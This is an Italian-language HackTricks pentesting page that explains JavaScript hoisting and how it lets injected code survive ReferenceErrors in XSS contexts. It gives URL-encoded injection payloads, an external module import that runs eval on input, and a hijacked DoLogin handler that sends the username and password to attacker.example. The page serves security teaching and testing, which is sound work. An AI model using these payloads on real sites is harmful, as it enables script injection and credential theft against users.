JS Hoisting

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

Nella lingua JavaScript, è presente un meccanismo noto come Hoisting per cui le dichiarazioni di variabili, funzioni, classi o import vengono concettualmente portate all’inizio del loro scope prima che il codice venga eseguito. Questo processo è eseguito automaticamente dal motore JavaScript, che analizza lo script in più passaggi.

Durante il primo passaggio, il motore effettua il parsing del codice per verificare errori di sintassi e lo trasforma in un albero di sintassi astratta. Questa fase include lo hoisting, un processo in cui certe dichiarazioni vengono spostate all’inizio del contesto di esecuzione. Se la fase di parsing ha esito positivo, ossia non ci sono errori di sintassi, l’esecuzione dello script procede.

È fondamentale capire che:

  1. Lo script deve essere privo di errori di sintassi perché l’esecuzione abbia luogo. Le regole sintattiche devono essere rispettate rigorosamente.
  2. La posizione del codice all’interno dello script influisce sull’esecuzione a causa dello hoisting, anche se il codice eseguito può differire dalla sua rappresentazione testuale.

Tipi di Hoisting

Sulla base delle informazioni di MDN, ci sono quattro tipi distinti di hoisting in JavaScript:

  1. Value Hoisting: Abilita l’uso del valore di una variabile all’interno del suo scope prima della sua linea di dichiarazione.
  2. Declaration Hoisting: Permette di riferirsi a una variabile all’interno del suo scope prima della sua dichiarazione senza causare un ReferenceError, ma il valore della variabile sarà undefined.
  3. Questo tipo modifica il comportamento nello scope perché la dichiarazione della variabile avviene prima della sua linea effettiva di dichiarazione.
  4. Gli effetti collaterali della dichiarazione si verificano prima che il resto del codice che la contiene venga valutato.

In dettaglio, le dichiarazioni di funzione mostrano il comportamento di hoisting di tipo 1. La keyword var dimostra il comportamento di tipo 2. Le dichiarazioni lessicali, che includono let, const e class, mostrano il comportamento di tipo 3. Infine, le istruzioni import sono uniche in quanto vengono hoisted con comportamenti sia di tipo 1 che di tipo 4.

Scenari

Quindi, se ti trovi in scenari in cui puoi iniettare codice JS dopo che un oggetto non dichiarato è stato usato, potresti correggere la sintassi dichiarandolo (così il tuo codice viene eseguito invece di generare un errore):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]

Altri scenari

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()

Hoisting per aggirare la gestione delle eccezioni

Quando il sink è avvolto in un try { x.y(...) } catch { ... }, ReferenceError fermerà l’esecuzione prima che il tuo payload venga eseguito. Puoi dichiarare in anticipo l’identificatore mancante in modo che la chiamata sopravviva e la tua espressione iniettata venga eseguita per prima:

// Original sink (x and y are undefined, but you control INJECT)
x.y(1,INJECT)

// Payload (ch4n3 2023) – hoist x so the call is parsed; use the first argument position for code exec
prompt()) ; function x(){} //

function x(){} è hoisted prima della valutazione, quindi il parser non solleva più errori su x.y(...); prompt() viene eseguito prima che y sia risolto, poi viene lanciato un TypeError dopo che il tuo codice è stato eseguito.

Anticipare le dichiarazioni successive bloccando un nome con const

Se puoi eseguire prima che una function foo(){...} top-level venga parsata, dichiarare un binding lessicale con lo stesso nome (es., const foo = ...) impedirà alla successiva dichiarazione di function di riassegnare quell’identificatore. Questo può essere abusato in RXSS per dirottare handler critici definiti più avanti nella pagina:

// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding

Notes

  • Questo si basa sull’ordine di esecuzione e sullo scope globale (top-level).
  • Se il tuo payload viene eseguito dentro eval(), ricorda che const/let all’interno di eval sono block-scoped e non creeranno binding globali. Inietta un nuovo elemento <script> con il codice per stabilire un vero const globale.

Dynamic import() with user-controlled specifiers

Le app server-side rendered a volte inoltrano input utente dentro import() per il lazy-loading dei componenti. Se è presente un loader come import-in-the-middle, vengono generati wrapper modules dallo specifier. L’evaluazione hoisted degli import recupera ed esegue il modulo controllato dall’attaccante prima che le righe successive vengano eseguite, abilitando RCE in contesti SSR (vedi CVE-2023-38704).

Tooling

Gli scanner moderni hanno iniziato ad aggiungere payload espliciti per hoisting. KNOXSS v3.6.5 elenca i casi di test “JS Injection with Single Quotes Fixing ReferenceError - Object Hoisting” e “Hoisting Override”; eseguirlo contro contesti RXSS che lanciano ReferenceError/TypeError mette rapidamente in evidenza candidati gadget basati su hoist.

References

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks